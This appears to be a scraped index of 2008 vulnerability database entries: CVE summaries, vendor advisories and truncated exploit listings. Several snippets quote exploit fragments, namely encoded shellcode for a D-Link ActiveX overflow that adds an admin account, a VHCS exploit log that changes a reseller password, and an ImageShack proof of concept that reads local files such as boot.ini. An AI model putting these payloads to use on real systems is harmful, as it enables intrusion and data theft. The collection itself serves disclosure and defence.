CVE-2008-1307

CVE-2008-1307 describes a heap-based buffer overflow in the KUpdateObj2 ActiveX control (UpdateOcx2.dll) of Beijing KingSoft Antivirus Online Update Module 2007.12.29.29. A long argument to the SetUninstallName method allows remote attackers to execute arbitrary code. The vulnerability is documen...

vhcs-root.txt

!/usr/bin/php -q http://acid-root.new.fr/ [email protected] Exploit: + Logged in Administrator + The administrator has 2 resellers / Changing dareseller's password / Trying to connect as dareseller:thatpwnz + Login successful + The reseller has 2 users + Host domaintest.fr is connected /...

D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) BOF Exploit

No description provided by source. !-- D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5 remote overflow exploit Internet Explorer 7/XP SP2 check a live camera demonstration here with DCS-5300 camera series: http://www.dlink.com/products/liveDemo/...

D-Link MPEG4 SHM Audio Control - 'VAPGDecoder.dll 1.7.0.5' Remote Buffer Overflow

//add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

D-Link MPEG4 SHM Audio Control - VAPGDecoder.dll 1.7.0.5 Remote Buffer Overflow

D-Link MPEG4 SHM Audio Control - VAPGDecoder.dll 1.7.0.5 Remote Buffer Overflow //add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) BOF Exploit

Exploit for unknown platform in category remote exploits ==================================================================== D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5 BOF Exploit ==================================================================== //add su one, user: sun pass: tzu...

dlink-overflow.txt

//add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

Important: cups security update

1.1.22-0.rc1.9.20.2:.5 - Prevented invalid memory accesses when a class and its singleton printer are timed out in the same sweep CVE-2008-0597, bug 433828. - Back-ported mimeDeleteType from 1.2.x CVE-2008-0596, bug 433828. 1.1.22-0.rc1.9.20.2:.4 - Prevent double-free when a browsed class has the...

Xoops-2.0.16 Remote File Inclusion

In the Script Xoops-2.0.16 are Remote File Inclusion Bugs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Script : xoops-2.0.16-Kararli Discovered By : F10 Contact : [email protected] WebSite : http://by-f10.com Greetz : byemR3 , H0tturk , TaRanTuLa , gsy...

Fedora 8 : pcre-7.3-3.fc8 (2008-1783)

This update addresses buffer overflow caused by a character class containing a very large number of characters with codepoints greater than 255 in UTF-8 mode - CVE-2008-0674, 431660 This issue may affect usages of pcre, when regular expressions from untrusted sources are compiled. Handling of...

CVE-2008-0674

Buffer overflow in PCRE before 7.6 allows remote attackers to execute arbitrary code via a regular expression containing a character class with a large number of characters with Unicode code points greater than 255...

CVE-2008-0674

CVE-2008-0674 is a buffer overflow in the PCRE library prior to 7.6 that permits remote attackers to execute arbitrary code via a regular expression containing a character class with many Unicode code points above 255. The CVE is listed across multiple vulnerability feeds (e.g., OpenVAS/Nessus en...

CVE-2008-0674

Buffer overflow in PCRE before 7.6 allows remote attackers to execute arbitrary code via a regular expression containing a character class with a large number of characters with Unicode code points greater than 255...

Directory traversal

Multiple PHP remote file inclusion vulnerabilities in LookStrike Lan Manager 0.9 allow remote attackers to execute arbitrary PHP code via a URL in the sysconfpathreal parameter to 1 modules\class\Table.php; 2 dbadmins.php, 3 dbalert.php, 4 dbdouble.php, 5 dbgames.php, 6 dbmatches.php, 7...

CVE-2008-0803

CVE-2008-0803 describes multiple PHP remote file inclusion vulnerabilities in LookStrike Lan Manager 0.9. The issue allows an attacker to execute arbitrary PHP code by supplying a crafted URL in the sys_conf[path][real] parameter, targeting a long list of vulnerable files under modules\class\db\ ...

Symantec Backup Exec Remote File Upload Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Symantec Backup Exec System Recovery Manager. Authentication is not required to exploit this vulnerability. The specific flaw exists in the FileUpload class running on the Symantec LiveState Apache...

pcre -- buffer overflow vulnerability

PCRE developers report: A character class containing a very large number of characters with codepoints greater than 255 in UTF-8 mode, of course caused a buffer overflow...

ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC

No description provided by source. !-- ImageShack Toolbar 4.5.7 FileUploader Class ImageShackToolbar.dll insecure method poc This tool may allow a malicious web page to post arbitrary images on the web from a user hard drive. Images will be visible on ImageShack site, a way for an attacker to...

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod

ImageShack Toolbar 4.5.7 - FileUploader Class InsecureMethod suntzu.BuildSlideShow "file:///c:\xpwallpaperglass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White" suntzu.BuildSlideShow "file:///c:\boot.ini", "Big",1,"uhuhinterestingprivatethings...

Php Search Remote Inclusion

Script : PhpSearch Bug : Remote File Inclusion Author : SekoMirza Company : http://www.hawkententerprises.org Download : http://www.hawkenterprises.org/dev/phpsearch.zip Dork : not yet Where : phpsearch/utils/classHTTPRetriever.php Bug : if isreadable$libcurlemuinc requireonce$libcurlemuinc;...